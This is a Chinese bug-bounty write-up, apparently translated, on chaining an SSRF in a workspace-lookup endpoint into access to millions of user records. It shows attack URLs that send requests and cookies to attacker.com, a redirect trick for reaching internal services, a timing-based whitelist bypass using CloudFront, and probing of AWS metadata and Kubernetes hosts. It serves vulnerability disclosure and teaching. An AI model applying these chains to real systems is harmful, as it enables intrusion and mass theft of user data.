如何通过一个SSRF漏洞挖出百万用户数据

如何通过一个SSRF漏洞挖出百万用户数据

原创 漏洞集萃 漏洞集萃 2025-05-29 07:39


今天给大家分享一个我最近在HackerOne上一个拥有超过8000万活跃用户的公开项目中挖到的“大宝贝”。

这个故事有点曲折,充满了探索和惊喜,我把它分成了几个阶段,希望能带你沉浸式体验一把挖洞的乐趣。

第一幕:一个动态端点的“意外”馈赠

故事的开始,源于我对目标应用社交媒体分享模板功能的JavaScript代码审计。一段看似平平无奇的代码引起了我的注意:


  WORKSPACE:"/api/client/workspaces/find/{hostName}",

这个 {hostName}
 占位符,像不像一个可以动态替换的入口?我心想,这多半是后端要根据这个 hostName
 去做点什么。

目标的API根路径是 https://target.com/social-media-name/
。 于是,我随手构造了一个URL,把 hostName
 设置成了目标自己的域名:https://target.com/social-media-name/api/client/workspaces/find/target.com

返回了一些数据,看起来平平无奇。

“要不,试试我自己的服务器?”

这个念头一闪而过。 我立马把URL改成了:https://target.com/social-media-name/api/client/workspaces/find/attacker.com

Bingo!我的服务器收到了请求!而且,我还能看到服务器的响应。

但真正让我心跳加速的,是请求里附带的东西——用户的完整Cookie!

这意味着,如果受害者访问了我构造的链接,他们的Cookie就会原封不动地发到我的服务器上。这简直是账户接管的节奏啊!

不过,先别急着激动,我们继续深挖。我发现,目标服务器向我服务器发起的请求,路径是固定的:https://attacker.com/api/v1/workspaces/find/
。这说明后端的请求逻辑是拼接了这个固定路径的。

第二幕:内网的诱惑与HTTPS的“坚壁”

有了这个发现,我几乎可以代表服务器发送任意请求了。

首当其冲的,自然是尝试访问内网IP,比如 127.0.0.1
:https://target.com/social-media-name/api/client/workspaces/find/127.0.0.1

结果,报错了:connect ECONNREFUSED 127.0.0.1:443

这个错误信息,尤其是 ECONNREFUSED
 和目标端口 443
,让我联想到了Node.js里的Axios库。

它似乎默认尝试用HTTPS(443端口)去连接。我又用了一个没有开放443端口的主机名测试,果然收到了SSL相关的错误:write EPROTO … wrong version number …

看来,后端代码里,协议被写死成了 https://
。我甚至模拟了一下后端的代码:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
const axios = require("axios");
const HOST = "{hostName}"; // 这是我们能控制的
const sendRequest = async function () {
  try {
    const response = await axios({
      method: "get",
      baseURL: "https://" + HOST, // HTTPS写死
      url: `/api/v1/workspaces/find/${HOST}`,
    });
    console.log("Response Data: ", response.data);
  } catch (error) {
    console.error("Error: ", error.message);
  }
};

HTTPS写死了,我还怎么去请求内网那些可能只跑在HTTP上的服务呢?****


“对了,重定向!”
 Axios默认是跟随3xx跳转的。

我在我的 attacker.com
 服务器上的 /api/v1/workspaces/find/
 路径设置了一个302跳转:

https://attacker.com/api/v1/workspaces/find/
 -> 302
 -> http://test.com

然后再次请求:https://target.com/social-media-name/api/client/workspaces/find/attacker.com

成功了!我收到了 test.com
 的内容!这意味着服务器跟随了我的重定向。 

那么,把 test.com
 换成 http://localhost
 呢?

虽然直接访问 http://localhost
 没返回内容,但我通过扫描常用端口,发现了两个活跃的服务:
– http://localhost:3000
 (就是当前这个社交媒体应用本身)

  • http://localhost:9090
     (访问返回404)

对 http://localhost:9090/FUZZ
 进行目录爆破后,我找到了一个有趣的路径:http://localhost:9090/metrics
。这通常是 Prometheus
 监控系统暴露的指标数据接口,里面包含了大量的日志信息!这个发现,在后面帮了大忙。

第三幕:修复后的“反杀”——与白名单的斗智斗勇

在我报告漏洞后,开发团队很快进行了修复。现在,当我尝试用 attacker.com
 时,直接返回404,我的服务器也收不到任何请求了。只有 target.com
 能返回200。

https://…/find/target.com
 → 200

https://…/find/attacker.com
 → 404

看起来是加了某种验证。我开始测试子域名,发现一个奇怪现象:

https://…/find/sub1.target.com
 → 404

https://…/find/sub2.target.com
 → 404

https://…/find/sub3.target.com
 → 200 (能显示内容!)

为什么有的子域名行,有的不行?

我直接请求这些子域名上的 

https://subX.target.com/api/v1/workspaces/find/
 路径,发现:

https://sub1.target.com/…/find/
 → 404

https://sub2.target.com/…/find/
 → 504

https://sub3.target.com/…/find/
 → 200 (即使路径不存在,它也返回200)

我明白了!新的逻辑是:
1. 检查你提供的 hostName
 是否“合法”(可能是一个白名单)。

  1. 如果合法,服务器会向 https://hostName/api/v1/workspaces/find/
     发送请求。

  2. 如果这个内部请求返回 2xx
     状态码,就把响应展示给我;否则,就给我返回一个不带响应体的404。

也就是说,我不仅需要 hostName
 在白名单里,还需要这个 hostName
 对应的 /api/v1/workspaces/find/
 路径能返回 2xx

我把我之前收集到的目标公司旗下的其他域名也试了一遍,果然,大部分返回404,但有一个完全不同的域名 secondary-domain.com
 居然返回了200!

https://…/find/secondary-domain.com
 → 200

我几乎可以肯定,他们在用一个域名白名单!


现在的问题是,如果白名单里的域名都是他们自己的,我该怎么办?两个思路:
1. 找个白名单里的域名,看有没有子域名接管漏洞。

  1. 找个白名单里的域名,我可以在它的子域名上部署我自己的服务。

我注意到,每次服务器响应时,都有一个 X-Envoy-Upstream-Service-Time
 的HTTP头,它表示上游主机处理请求的时间。 

灵机一动:如果域名无效,服务器根本不会发送请求,处理时间应该很短;如果域名有效并发送了请求,时间就会长一些。这不就是时间盲注的思路吗!


我写了个脚本测试:
– 完全无效域名 (如 attacker.com
):耗时 7-16ms

  • 有效域名的无效子域名 (如 noip.target.com
    ):耗时 10-20ms

  • 有效域名但内部请求非2xx (如 sub1.target.com
    ):耗时 >20ms

  • 有效域名且内部请求200 (如 target.com
    ):耗时 >500ms

这个差异很明显!如果 hostName
 无效,sendRequest
 函数根本不执行,时间自然短。

有了这个利器,我开始寻找“既在白名单内,我又能在其子域名上部署服务”的域名。 

我收集了目标所有相关域名的所有子域名,筛选出CNAME记录,提取目标值,得到了一堆类似这样的域名:target-community.insided.comxxxxx.cloudfront.nettarget.github.io

然后用我的时间盲注脚本去探测这些域名。大部分都无效,但是……*.cloudfront.net 完全有效!平均上游响应时间超过了20ms!


Amazon CloudFront!CDN服务!用户可以创建自己的CloudFront分发,指向自己的源服务器! 

我立刻创建了一个CloudFront分发 xxxattackerxxx.cloudfront.net
,让它指向我的 attacker.com

然后,构造终极请求:https://target.com/social-media-name/api/client/workspaces/find/xxxattackerxxx.cloudfront.net

成了!我的服务器再次收到了请求!
 我又可以愉快地在我的服务器上配置302重定向,指向内网IP了!漏洞完美复现!

第四幕:深潜入渊——内网漫游与数据的“宝藏”

重新拿到SSRF权限后,我开始探索内网。 首先尝试了AWS的实例元数据服务 http://169.254.169.254/latest/user-data

应用返回404,但查看 localhost:9090/metrics
 日志发现,实际状态码是 401 Unauthorized
。 原来是 IMDSv2
 在起作用!AWS为了防止SSRF泄露敏感信息,增强了安全机制,需要特定的会话令牌才能访问。这条路暂时走不通。

不过,/metrics
 日志再次立功!我注意到一个请求被发送到了 172.31.49.66
,还看到了类似 xxx.xxx.svc.cluster.local
 的域名结构——这表明内部使用了 Kubernetes (K8s)

我的策略是:
1. HTTP扫描 172.31.0.0/16
 网段的常见端口。

  1. 对 xxx.xxx.svc.cluster.local
     进行DNS爆破。

同时,我想到了一个更聪明的办法:****

解析目标所有子域名的IP,筛选出其中的内网IP!

果然,我找到了一些指向 172.31.0.0/16
 网段的内部服务域名:

internal-service1.target.com
 → 172.31.11.190
 (Nexus代理)

internal-service2.target.com
 → 172.31.29.14
 (Vminsert)

internal-service3.target.com
 → 172.31.12.20
 (Pushgateway)

internal-service4.target.com
 → 172.31.55.203
 (Alert manager)

在 internal-service3.target.com
 上,我发现了好几个K8s的命名空间和服务名,这让我可以更精确地生成内部K8s域名进行测试。

最终,当我请求 http://internal-service.target.com:80
时,收到了 It’s alive!
 的响应。有戏! 开始对它进行路径Fuzz:http://internal-service.target.com:80/FUZZ

然后,一个路径出现了:http://internal-service.target.com:80/applications
访问这个路径,返回了海量的用户数据!


有趣的是,主应用里也有个类似的端点 https://target.com:80/api/v1/profile/applications
,但它有严格的授权检查,只返回当前登录用户的数据。而这个内网的 http://internal-service.target.com:80/applications完全没有授权机制!
我可以直接访问所有用户的数据,甚至通过 http://internal-service.target.com:80/applications/
 访问单个用户数据。

至此,我获得了数百万用户的敏感信息
。同时,我之前跑的自动化扫描脚本也陆续发现了更多内网地址,上面运行着各种管理面板、敏感日志文件和监控面板。

思考与启发:
不要放过任何细节:
 一个小小的 {hostName}
,一个特殊的HTTP响应头,都可能成为突破口。

  • 理解应用行为:
     模拟后端代码,理解错误信息,是深入分析漏洞的关键。

  • 日志是金矿:/metrics
     接口多次为作者指明了方向。

  • 修复可能不完美:
     对修复方案进行深入测试,往往能找到绕过方法。

  • 知识储备很重要:
     对Axios特性、HTTP重定向、CloudFront、AWS IMDS、Kubernetes等知识的了解,是成功的基石。

  • 创造性思维:
     利用响应时间差异判断白名单,解析外部域名获取内部IP,都是非常巧妙的思路。

====本文结束====

以上内容由漏洞集萃翻译整理。

参考:

https://medium.com/@skycer_00/full-blown-ssrf-to-gain-access-to-millions-of-users-records-and-multiple-internal-panels-3719d9b802e9